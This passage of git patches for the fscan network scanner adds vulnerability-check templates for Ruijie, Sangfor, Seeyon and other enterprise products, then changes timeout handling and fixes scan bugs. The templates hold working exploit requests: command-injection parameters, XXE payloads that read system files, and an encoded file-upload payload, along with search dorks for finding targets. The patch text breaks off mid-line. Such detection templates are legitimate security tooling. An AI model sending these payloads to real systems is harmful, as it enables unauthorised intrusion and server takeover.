锐捷RG-EG易网关WEB管理系统存在RCE漏洞 + author: Y3y1ng + severity: critical + verified: true + description: |- + 锐捷RG-EG易网关WEB管理系统前台RCE存在命令执行漏洞，未经身份认证的攻击者可执行任意命令控制服务器权限。 + Fofa: body="请输入您的RG-EG易网关的用户名和密码" + Hunter: web.body="请输入您的RG-EG易网关的用户名和密码" + Zoomeye: "请输入您的RG-EG易网关的用户名和密码" + reference: + - https://github.com/xinyisleep/pocscan/blob/ee0c74e68ec95b82a4e4ebcdb961d6ed18a44b77/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_WEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py + tags: ruijie,rce + created: 2023/12/10 + +rules: + r0: + request: + method: GET + path: /update.php?jungle=id + expression: 'response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)' +expression: r0() diff --git a/webscan/pocs/ruijie-route-control-rce.yaml b/webscan/pocs/ruijie-route-control-rce.yaml new file mode 100644 index 0000000..ba220c6 --- /dev/null +++ b/webscan/pocs/ruijie-route-control-rce.yaml @@ -0,0 +1,35 @@ +id: ruijie-route-control-rce + +info: + name: 锐捷EWEB路由器 control.php 远程命令执行漏洞 + author: avic123 + severity: critical + verified: true + description: | + 锐捷EWEB路由器 control.php 存在远程命令执行漏洞。攻击者可以通过漏洞执行任意命令从而获取服务器权限，可能导致内网进一步被攻击。 + Fofa: title="锐捷网络-EWEB网管系统" + reference: + - https://cn-sec.com/archives/4353567.html + tags: ruijie,router,rce + created: 2025/8/11 + +rules: + r0: + request: + method: POST + path: /ddi/server/login.php + body: username=admin&password=admin? + expression: response.status == 200 && response.headers['set-cookie'].icontains("ruijieid") + output: + search: '"Set-Cookie: (?P.*?);".bsubmatch(response.raw_header)' + cookie: search["cookie"] + + r1: + request: + method: POST + path: /flow_control_pi/flwo.control.php?a=getFlowGroup + headers: + Cookie: "{{cookie}}" + body: type=;id; + expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body) +expression: r0() && r1() diff --git a/webscan/pocs/sangfor-dc-sangforindex-xxe.yaml b/webscan/pocs/sangfor-dc-sangforindex-xxe.yaml new file mode 100644 index 0000000..ee8ef56 --- /dev/null +++ b/webscan/pocs/sangfor-dc-sangforindex-xxe.yaml @@ -0,0 +1,30 @@ +id: sangfor-dc-sangforindex-xxe + +info: + name: 深信服 DC数据中心管理系统 sangforindex XML实体注入 + author: zan8in + severity: critical + verified: true + description: |- + 深信服 DC数据中心管理系统 sangforindex 接口存在XML实体注入漏洞，攻击者可以发送特定的请求包造成XML实体注入 + FOFA: "SANGFOR 数据中心" + tags: sangfor,xxe + created: 2023/09/05 + +rules: + r0: + request: + method: POST + path: /src/sangforindex + headers: + Content-Type: text/xml + body: | + + + ]> + + &rootas; + + expression: oobCheck(oob.ProtocolHTTP, 3) +expression: r0() diff --git a/webscan/pocs/sangfor-logcent-rce.yaml b/webscan/pocs/sangfor-logcent-rce.yaml new file mode 100644 index 0000000..d67f7ce --- /dev/null +++ b/webscan/pocs/sangfor-logcent-rce.yaml @@ -0,0 +1,25 @@ +id: sangfor-logcent-rce + +info: + name: 深信服行为感知系统/日志中心 c.php 远程命令执行 + author: daffainfo + severity: critical + verified: true + description: | + 深信服行为感知系统BA（Behavior Awareness System），是深信服上网行为管理的又一大颠覆式创新，它基于上网行为管理的海量上网日志，对用户行为特征进行深度建模分析，不断推出不同场景的行为感知应用，持续挖掘数据价值，帮助组织洞悉行为风险，简化运维管理。深信服行为感知系统/日志中心系统存在远程命令执行漏洞，攻击者通过漏洞可以上传木马文件，导致服务器失陷。 + fofa: body="isHighPerformance : !!SFIsHighPerformance," + reference: + - https://mp.weixin.qq.com/s/t5DF-O5uW1Fgnc9kkAlPiQ + tags: sangfor,logcent,rce + created: 2023/05/26 + +set: + randstr: randomLowercase(10) + md5: md5(randstr) +rules: + r0: + request: + method: GET + path: /tool/log/c.php?strip_slashes=md5&host={{randstr}} + expression: response.status == 200 && response.body.bcontains(bytes(md5)) +expression: r0() diff --git a/webscan/pocs/sangfor-login-rce.yaml b/webscan/pocs/sangfor-login-rce.yaml new file mode 100644 index 0000000..adb3770 --- /dev/null +++ b/webscan/pocs/sangfor-login-rce.yaml @@ -0,0 +1,26 @@ +id: sangfor-login-rce + +info: + name: 深信服 应用交付管理系统 login 远程命令执行漏洞 + author: zan8in + severity: high + verified: true + description: | + 深信服 应用交付管理系统 login 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，执行任意命令 + FOFA: fid="iaytNA57019/kADk8Nev7g==" + reference: + - https://peiqi.wgpsec.org/wiki/webapp/%E6%B7%B1%E4%BF%A1%E6%9C%8D/%E6%B7%B1%E4%BF%A1%E6%9C%8D%20%E5%BA%94%E7%94%A8%E4%BA%A4%E4%BB%98%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20login%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html + tags: sangfor,rce + created: 2023/08/09 + +set: + r1: randomLowercase(30) +rules: + r0: + request: + method: POST + path: /rep/login + body: | + clsMode=cls_mode_login%0Aecho+{{r1}}%0A&index=index&log_type=report&loginType=account&page=login&rnd=0&userID=admin&userPsw=123 + expression: response.status == 200 && response.body.bcontains(bytes(r1)) && response.body.bcontains(b'cluster_mode_other') +expression: r0() diff --git a/webscan/pocs/seeyon-ajax-do-fileupload.yaml b/webscan/pocs/seeyon-ajax-do-fileupload.yaml new file mode 100644 index 0000000..fb4c762 --- /dev/null +++ b/webscan/pocs/seeyon-ajax-do-fileupload.yaml @@ -0,0 +1,39 @@ +id: seeyon-ajax-do-fileupload + +info: + name: Seeyon ajax.do 任意文件上传 + author: zan8in + severity: critical + verified: true + description: | + Seeyon ajax.do 任意文件上传漏洞 + reference: + - https://mp.weixin.qq.com/s/bHKDSF7HWsAgQi9rTagBQA + - https://buaq.net/go-53721.html + tags: seeyon,ajax,fileupload + created: 2023/05/26 + requires: [seeyon] + requires-mode: opportunistic + +rules: + r0: + request: + method: GET + path: /seeyon/thirdpartyController.do.css/..;/ajax.do + expression: response.status == 200 && response.body.bcontains(b'java.lang.NullPointerException:null') + r1: + request: + method: POST + path: /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip + body: | + managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28*%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%1D%C2%AD%C2%81%3C%26%C3%90%C3%89%C2%BCA%3FL%C2%93%C2%B2%C3%B3%C3%B0%13%C2%9E%C2%B9%C2%BB%C2%92%06%1E%C3%86%C2%B5%2F%3B1%C2%B9%C2%81YR%C2%B9%C3%9C%C2%98%C2%95%C2%96A%C3%A6%C2%8A%C3%82mKj%19%C2%8B%C2%9C%C2%A5%C3%8A%C2%82Y%5C%C2%AC%C2%B9%24%C2%80d%C2%9E%03%5E%C3%8F%C3%97D%29%5Cm%2C%1F%07%2F%C3%85Q%5CD%C2%B6%26%C3%B9%C2%90%C3%A8%15%C3%A0p%C3%A1%C2%86%2C%C3%9Ah%C3%83J%0A%C2%87%C3%8FN%C2%A4%5C%C2%B7DM%00%C3%91C%28b%C3%8E%C3%96%C2%84%C2%ABe%40%2C%C2%898%03%C3%A2%C2%B8%C2%825%3EYp%C2%96%26%0C%C3%A8%7B%C2%BAFq%C3%9A%C3%B0%C2%A6%C2%9F%5B%C3%BCJ%00K%C2%B5%C3%B8TFqmc%C2%93%C3%8BH*va%C3%B9%0F%C3%A0_%C2%BE%C3%99%C2%A2%1E%C2%BA%C3%A2%C2%A2%C2%B2L5q%C2%B9%C3%A1%C2%A3%24*%C2%A9e*7iq%C3%B4m3%60mC8%C2%83j2%C2%A3%3A7%C3%80%C2%96%C2%85e%C2%A8%18D%C2%99.%C3%8F%5B%C2%BD%C2%838%0E%28F%25%C2%89%C2%9B%C3%84%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%95%3A%C3%86%C3%86%C3%9Fse%00%C3%B8%C2%8DoW%01%C3%B2L%15K%C2%8B%0CZ%08%C2%8Fh%7C%2C4W%C2%B9%C2%B4l%C3%AD%C3%96D%C3%856%C3%81%C2%B9%7Dl%C2%B1eQJ7%C3%93%12%C2%ADI%C2%89%5D%02Ygz%1E%C2%9DL%C3%B6%C2%99%C3%A6%C2%B4%C3%8E%C3%BB%C3%996j%C2%BDU%40s%40%C3%B3w%C3%8F%5B%C2%A4%C2%84%C2%80%C3%A0%2B%14K%0Cg%C3%82%01.W%C2%89K%C2%80%C3%AF%C3%9CXd%1F%C3%B6%03%C3%BB%C2%B0%C2%A9%C2%B6%C2%86%C2%8D%C2%ADP%3Fo%0F%C3%92%C3%80B%C3%92%08p%C3%BA%C2%AD%C2%A9%01%12%C2%AE%C3%90T%0D%C3%8B%28%07%C2%B6%C3%A6%23%C2%A8I%C2%A9S%C2%9DG%7B%0E_%C2%9D6%C3%86%C3%B1%1B%C2%BD%26%10%C3%839%C2%A6uU%03%C2%97%28X%C2%9E%C2%AE%26%C2%AA%C2%BEA%C3%B2%21%0B%C3%974%06%C3%87%C3%9C%C3%87%1BT%C3%A6%C2%B6%09%C3%BC%23%C2%A7%C2%87u%C2%AC%1A%C2%A7%0BG%7E%C2%82%C2%AD%C3%8A%C2%8F%3F%C3%BC%19%C3%99%C2%BF%C3%BE%C2%99%C3%88%C2%95%C2%84d%C2%AD%C2%91O%C3%AB%7C%C2%81%C3%8AO%C3%96o%C3%B8%C3%9Ay%C3%A4%12%C2%9D%C2%A7%C3%B5%C2%89%C2%A1%18%24%C2%A0j%C3%B4%C3%9A%C3%BA%C3%94z%C2%8D_%C2%BF%C3%96F%C2%9E%C2%9E%C2%A9%1C%C3%84V%25%C2%9C%5D%C3%96%C2%A6%C3%B9X%C2%A4%C2%B2%28%60XMn%C3%90%18%C3%A6%C2%AE%C2%81o%C3%B4m%C2%BA%C3%97%C2%95%C2%85%12%C2%AAs%C2%9A%C3%97%C3%A2n%C2%977%C3%BD%C3%81%C2%A9x%1F%C3%A9%C3%84%C2%A6%C2%BD*%2FW%18%C2%98%3A%06%C3%BC%3E%C2%B79%C2%9D%3D%12%C3%BD%C3%AD%C2%8F%1C%C3%944%C2%9D%5E%C2%97%1Cc%C3%AAgBc%C2%A0%C3%B1%C3%83%C2%95%1B%29%C2%ACe%08%21%C2%8D%C2%8F%C3%BA%C2%A1%C2%97%C3%90X%C2%A4%C2%A0%0A%C2%9A%C2%9E%C3%9Es%C3%A3%1C%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7T%C2%8E9a%5DQgw%C3%A1%C2%B5h%C3%AB%C2%BA*%5C%7E%C3%BF%C3%B8%3E%C3%ADL%C2%9AG%7D%C2%82R%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07bH%07%1E%C3%9E%C3%AFv%C3%96%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFI%7E%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87%7D%C3%93o%18%1C%C3%B5%3E%C2%82%C3%BF%C2%9F.%C3%80q%C3%AAQ%C3%87%7E%7C%C2%AF%C3%B7%21%25%C2%A0wb%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4_%05%00%00 + expression: | + response.status == 500 && + response.body.bcontains(b'"details":null') && + response.body.bcontains(b'"message":null') + r2: + request: + method: GET + path: /seeyon/SeeyonUpdate1.jspx + expression: true +expression: r0() && r1() && r2() diff --git a/webscan/pocs/seeyon-getajaxdataservlet-xxe.yaml b/webscan/pocs/seeyon-getajaxdataservlet-xxe.yaml new file mode 100644 index 0000000..288727c --- /dev/null +++ b/webscan/pocs/seeyon-getajaxdataservlet-xxe.yaml @@ -0,0 +1,26 @@ +id: seeyon-getajaxdataservlet-xxe + +info: + name: 致远OA getAjaxDataServlet XXE + author: Wen + severity: critical + verified: true + description: | + fofa: app="致远互联-OA" + tags: seeyon,oa,xxe + created: 2024/01/12 + requires: [seeyon] + requires-mode: opportunistic + +rules: + r0: + request: + method: POST + path: /seeyon/m-signature/RunSignature/run/getAjaxDataServlet + body: | + S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%5D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E + expression: | + (response.status == 200 || response.status == 206) && + response.body.ibcontains(b"[fonts]") && + response.body.ibcontains(b"[extensions]") +expression: r0() diff --git a/webscan/pocs/tongda-down-php-unauthorized-access.yaml b/webscan/pocs/tongda-down-php-unauthorized-access.yaml index f794076..fb31aaf 100644 --- a/webscan/pocs/tongda-down-php-unauthorized-access.yaml +++ b/webscan/pocs/tongda-down-php-unauthorized-access.yaml @@ -20,4 +20,4 @@ rules: expression: | response.status == 200 && response.raw_header.bcontains(b'org.zip') -expression: r0()+ +expression: r0() diff --git a/webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml b/webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml index 60efba3..c17b7ec 100644 --- a/webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml +++ b/webscan/pocs/wanhu-evointerfaceservlet-unauth.yaml @@ -18,4 +18,4 @@ rules: response.body.bcontains(b'result:') && response.body.bcontains(b'data:') && response.body.bcontains(b'"userList":') -expression: r0()+ +expression: r0() diff --git a/webscan/pocs/yonyou-maportal-unauth.yaml b/webscan/pocs/yonyou-maportal-unauth.yaml index d2c216a..4d48f7f 100644 --- a/webscan/pocs/yonyou-maportal-unauth.yaml +++ b/webscan/pocs/yonyou-maportal-unauth.yaml @@ -16,4 +16,4 @@ rules: method: GET path: /maportal/ expression: response.status == 200 && response.body.bcontains(b"欢迎你") && response.body.bcontains(b"管理员") -expression: r0()+ +expression: r0() diff --git a/webscan/pocs/yonyou-nc-download-fileread.yaml b/webscan/pocs/yonyou-nc-download-fileread.yaml index a8bc1a6..6e69bb7 100644 --- a/webscan/pocs/yonyou-nc-download-fileread.yaml +++ b/webscan/pocs/yonyou-nc-download-fileread.yaml @@ -23,4 +23,4 @@ rules: response.status == 200 && response.body.bcontains(b"response.addHeader") && response.body.bcontains(b"request.getSession") -expression: r0()+ +expression: r0() diff --git a/webscan/pocs/yonyou-nc-word-docx-fileread.yaml b/webscan/pocs/yonyou-nc-word-docx-fileread.yaml index bfca318..2dd1679 100644 --- a/webscan/pocs/yonyou-nc-word-docx-fileread.yaml +++ b/webscan/pocs/yonyou-nc-word-docx-fileread.yaml @@ -24,4 +24,4 @@ rules: response.body.bcontains(b" Date: Tue, 25 Aug 2026 23:50:30 +0800 Subject: [PATCH 5/7] Disable default global scan timeout --- SKILL.md | 2 +- common/flag.go | 2 +- common/flag_test.go | 5 +++- common/i18n/locales/en.yaml | 4 +-- common/i18n/locales/zh.yaml | 4 +-- core/scanner.go | 59 ------------------------------------- pkg/fscan/scanner.go | 2 +- pkg/fscan/scanner_test.go | 3 ++ 8 files changed, 12 insertions(+), 69 deletions(-) diff --git a/SKILL.md b/SKILL.md index 2a3065f..7432420 100644 --- a/SKILL.md +++ b/SKILL.md @@ -52,7 +52,7 @@ fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")' | `-t` | 端口扫描线程数 | `600` | | `-mt` | 模块线程数 | `20` | | `-time` | 连接超时（秒） | `3` | -| `-gt` | 全局超时（秒） | `180` | +| `-gt` | 全局超时（秒，0 表示不限制） | `0` | | `-np` | 跳过存活检测 | `false` | | `-ntp` | 禁用 TCP 补充探测 | `false` | | `-ao` | 仅存活检测 | `false` | diff --git a/common/flag.go b/common/flag.go index 85ef4fa..29bf7ab 100644 --- a/common/flag.go +++ b/common/flag.go @@ -110,7 +110,7 @@ func Flag(Info *HostInfo) error { flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num")) flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout")) flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num")) - flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout")) + flag.Int64Var(&fv.GlobalTimeout, "gt", 0, i18n.GetText("flag_global_timeout")) flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe")) flag.BoolVar(&fv.DisableSubnetProbe, "nsp", false, i18n.GetText("flag_disable_subnet_probe")) diff --git a/common/flag_test.go b/common/flag_test.go index 3e02dd7..801a042 100644 --- a/common/flag_test.go +++ b/common/flag_test.go @@ -34,7 +34,7 @@ func TestBuildConfigFromFlags_ScanControl(t *testing.T) { ThreadNum: 600, ModuleThreadNum: 20, TimeoutSec: 3, - GlobalTimeout: 180, + GlobalTimeout: 0, }, validate: func(t *testing.T, cfg *Config) { if cfg.Mode != "all" { @@ -49,6 +49,9 @@ func TestBuildConfigFromFlags_ScanControl(t *testing.T) { if cfg.Timeout != 3*time.Second { t.Errorf("Timeout = %v, want %v", cfg.Timeout, 3*time.Second) } + if cfg.GlobalTimeout != 0 { + t.Errorf("GlobalTimeout = %v, want disabled", cfg.GlobalTimeout) + } }, }, { diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index dfe4b96..c5aa486 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -25,9 +25,7 @@ flag_timeout: flag_module_thread_num: other: "Module thread count" flag_global_timeout: - other: "Global timeout" -global_timeout_adjusted: - other: "Large scan detected, global timeout adjusted from {{.V0}}s to {{.V1}}s (use -gt to override)" + other: "Global timeout in seconds (0 means unlimited)" global_timeout_exceeded: other: "Global timeout reached (-gt {{.V0}}s), scan aborted. Use -gt to increase or set to 0 to disable" flag_disable_ping: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index 035e476..1e9371b 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -25,9 +25,7 @@ flag_timeout: flag_module_thread_num: other: "模块线程数" flag_global_timeout: - other: "全局超时时间" -global_timeout_adjusted: - other: "扫描规模较大，全局超时从 {{.V0}}s 自动调整为 {{.V1}}s（可用 -gt 手动指定）" + other: "全局超时时间（秒，0 表示不限制）" global_timeout_exceeded: other: "全局超时已到（-gt {{.V0}}s），扫描被终止。大规模扫描请用 -gt 调大超时或设为 0 禁用" flag_disable_ping: diff --git a/core/scanner.go b/core/scanner.go index 5a20436..dd1bc9a 100644 --- a/core/scanner.go +++ b/core/scanner.go @@ -13,7 +13,6 @@ import ( "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/output" - "github.com/shadow1ng/fscan/common/parsers" "github.com/shadow1ng/fscan/plugins" "github.com/shadow1ng/fscan/webscan/lib" ) @@ -97,15 +96,6 @@ func RunScan(ctx context.Context, info common.HostInfo, session *common.ScanSess start := time.Now() config := session.Config - // 全局超时自适应：用户未显式指定 -gt 时，根据扫描规模自动调大 - if !config.GlobalTimeoutExplicit && config.GlobalTimeout > 0 { - if adjusted := estimateGlobalTimeout(config, session); adjusted > config.GlobalTimeout { - session.LogInfo(i18n.Tr("global_timeout_adjusted", - int(config.GlobalTimeout.Seconds()), int(adjusted.Seconds()))) - config.GlobalTimeout = adjusted - } - } - // 全局超时：-gt 参数设置整个扫描的硬性截止时间 var cancel context.CancelFunc if config.GlobalTimeout > 0 { @@ -499,52 +489,3 @@ func addCommonDetails(result *plugins.Result, details map[string]interface{}) { details["server"] = result.Server } } - -func estimateGlobalTimeout(config *common.Config, session *common.ScanSession) time.Duration { - portCount := int64(len(parsers.ParsePort(config.Target.Ports))) - if portCount == 0 { - portCount = 10 - } - - var hostFile string - var hostStr string - if session.Params != nil { - hostFile = session.Params.HostsFile - hostStr = session.Params.Host - } - hostCount := parsers.EstimateHostCount(hostStr, hostFile) - if hostCount <= 0 { - hostCount = 1 - } - - totalTasks := hostCount * portCount - threads := int64(config.ThreadNum) - if threads <= 0 { - threads = 600 - } - - // 端口扫描：平均每个任务约 50ms（大部分连接快速失败） - portScanSec := float64(totalTasks) * 0.05 / float64(threads) - - // 插件扫描：开放率随端口数下降（全端口约 0.1%，少量端口约 5%） - openRate := 0.05 - if portCount > 1000 { - openRate = 0.002 - } else if portCount > 100 { - openRate = 0.01 - } - moduleThreads := float64(config.ModuleThreadNum) - if moduleThreads <= 0 { - moduleThreads = 20 - } - pluginSec := float64(totalTasks) * openRate * 2.0 / moduleThreads - // 总估算 + 20% 余量 - estimatedSec := (portScanSec + pluginSec) * 1.2 - - const maxTimeout = 2 * time.Hour - estimated := time.Duration(estimatedSec) * time.Second - if estimated > maxTimeout { - estimated = maxTimeout - } - return estimated -} diff --git a/pkg/fscan/scanner.go b/pkg/fscan/scanner.go index c5845f6..fc6984e 100644 --- a/pkg/fscan/scanner.go +++ b/pkg/fscan/scanner.go @@ -408,7 +408,7 @@ func buildFlagVars(config Config, target Target) *common.FlagVars { ThreadNum: threadNum, ModuleThreadNum: moduleThreads, TimeoutSec: timeout, - GlobalTimeout: 180, + GlobalTimeout: 0, DisablePing: config.DisablePing, DisableTcpProbe: config.DisableTCPProbe, DisableSubnetProbe: config.DisableSubnetProbe, diff --git a/pkg/fscan/scanner_test.go b/pkg/fscan/scanner_test.go index 5d5a827..0bef9d8 100644 --- a/pkg/fscan/scanner_test.go +++ b/pkg/fscan/scanner_test.go @@ -667,6 +667,9 @@ func TestBuildFlagVarsCustomValues(t *testing.T) { if fv.TimeoutSec != 10 { t.Fatalf("TimeoutSec = %d, want 10", fv.TimeoutSec) } + if fv.GlobalTimeout != 0 { + t.Fatalf("GlobalTimeout = %d, want disabled", fv.GlobalTimeout) + } if fv.WebTimeout != 15 { t.Fatalf("WebTimeout = %d, want 15", fv.WebTimeout) } From a1ff55ef55d124aad4ba120113434ed15756562a Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Wed, 26 Aug 2026 04:19:58 +0800 Subject: [PATCH 6/7] fix: resolve recent service scan regressions --- core/service_cache_test.go | 4 +-- core/web_scanner.go | 3 +- core/web_scanner_test.go | 4 +-- libs/grdp/protocol/tpkt/tpkt.go | 7 ++++ libs/grdp/protocol/tpkt/tpkt_test.go | 13 ++++++++ main_cli.go | 16 ++++++--- plugins/services/ssh.go | 29 ++++++++++------ plugins/services/ssh_test.go | 38 +++++++++++++++++++++ plugins/services/telnet.go | 5 ++- plugins/services/vnc.go | 9 +++++ plugins/services/vnc_test.go | 49 ++++++++++++++++++++++++++++ 11 files changed, 153 insertions(+), 24 deletions(-) create mode 100644 libs/grdp/protocol/tpkt/tpkt_test.go diff --git a/core/service_cache_test.go b/core/service_cache_test.go index 745ee74..c85916c 100644 --- a/core/service_cache_test.go +++ b/core/service_cache_test.go @@ -88,8 +88,8 @@ func TestCacheServiceInfo_BasicCRUD(t *testing.T) { func TestWebServiceFiltering(t *testing.T) { clearServiceCache() - webNames := []string{"http", "https", "ssl", "tls", "nginx", "apache", "iis", "tomcat"} - nonWebNames := []string{"ssh", "mysql", "postgresql", "redis", "mongodb", "ftp", "smtp", "telnet", "vnc", "rdp"} + webNames := []string{"http", "https", "nginx", "apache", "iis", "tomcat"} + nonWebNames := []string{"ssl", "tls", "ssh", "mysql", "postgresql", "redis", "mongodb", "ftp", "smtp", "telnet", "vnc", "rdp"} for _, name := range webNames { clearServiceCache() diff --git a/core/web_scanner.go b/core/web_scanner.go index b73811e..549a8f7 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -222,7 +222,7 @@ var ( "telnet", "ftp", "smtp", "pop3", "imap", "ldap", "snmp", "vnc", "rdp", "smb", } webKeywords = []string{ - "http", "https", "ssl", "tls", "nginx", "apache", "iis", "tomcat", + "http", "https", "nginx", "apache", "iis", "tomcat", "jetty", "nodejs", "php", "asp", "jsp", } bannerKeywords = []string{"server:", "http/", "content-type:"} @@ -514,4 +514,3 @@ func hasMalformedURLPort(host string) bool { } return strings.Contains(host, ":") } - diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index ec07d66..a633b12 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -230,11 +230,11 @@ func TestIsWebServiceByFingerprint(t *testing.T) { expected: true, }, { - name: "SSL/TLS服务", + name: "通用TLS服务不是Web", serviceInfo: &ServiceInfo{ Name: "ssl", }, - expected: true, + expected: false, }, { name: "包含非Web关键字-postgresql", diff --git a/libs/grdp/protocol/tpkt/tpkt.go b/libs/grdp/protocol/tpkt/tpkt.go index 51d53b8..a045714 100644 --- a/libs/grdp/protocol/tpkt/tpkt.go +++ b/libs/grdp/protocol/tpkt/tpkt.go @@ -477,6 +477,13 @@ func (t *TPKT) recvFastPath(s []byte, err error) { return } + // NLA-only authentication can receive a Fast-Path packet before the PDU + // layer installs a listener. Treat it as an ignorable early packet instead + // of dereferencing a nil interface and crashing the whole scan. + if t.fastPathListener == nil { + return + } + t.fastPathListener.RecvFastPath(t.secFlag, s) core.StartReadBytes(2, t.Conn, t.recvHeader) } diff --git a/libs/grdp/protocol/tpkt/tpkt_test.go b/libs/grdp/protocol/tpkt/tpkt_test.go new file mode 100644 index 0000000..f48f2e7 --- /dev/null +++ b/libs/grdp/protocol/tpkt/tpkt_test.go @@ -0,0 +1,13 @@ +package tpkt + +import ( + "testing" + + "github.com/shadow1ng/fscan/libs/grdp/glog" +) + +func TestRecvFastPathWithoutListenerDoesNotPanic(t *testing.T) { + glog.SetLevel(glog.NONE) + tpkt := &TPKT{} + tpkt.recvFastPath([]byte{0x00}, nil) +} diff --git a/main_cli.go b/main_cli.go index 06bd370..2c5802d 100644 --- a/main_cli.go +++ b/main_cli.go @@ -20,6 +20,10 @@ import ( ) func main() { + os.Exit(run()) +} + +func run() int { // 启动 pprof（仅调试版本） debug.Start() defer debug.Stop() @@ -28,23 +32,23 @@ func main() { var info common.HostInfo if err := common.Flag(&info); err != nil { if err == common.ErrShowHelp { - os.Exit(0) // 显示帮助是正常退出 + return 0 // 显示帮助是正常退出 } common.LogError(i18n.Tr("param_error", err)) - os.Exit(1) + return 1 } // 检查参数互斥性 if err := common.ValidateExclusiveParams(&info); err != nil { common.LogError(i18n.Tr("error_generic", err)) - os.Exit(1) + return 1 } // 统一初始化：解析 → 配置 → 输出 result, err := common.Initialize(&info) if err != nil { common.LogError(i18n.Tr("init_failed", err)) - os.Exit(1) + return 1 } // 设置信号处理，确保 Ctrl+C 时能正确保存结果 @@ -62,6 +66,8 @@ func main() { // 执行扫描 if _, err := core.RunScan(context.Background(), *result.Info, result.Session); err != nil { common.LogError(i18n.Tr("error_generic", err)) - os.Exit(1) + return 1 } + + return 0 } diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index ca01af7..74abbc1 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -3,6 +3,7 @@ package services import ( + "bufio" "context" "fmt" "io" @@ -308,19 +309,27 @@ func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string { _ = conn.SetReadDeadline(time.Now().Add(config.ModuleTimeout())) - banner := make([]byte, 256) - n, err 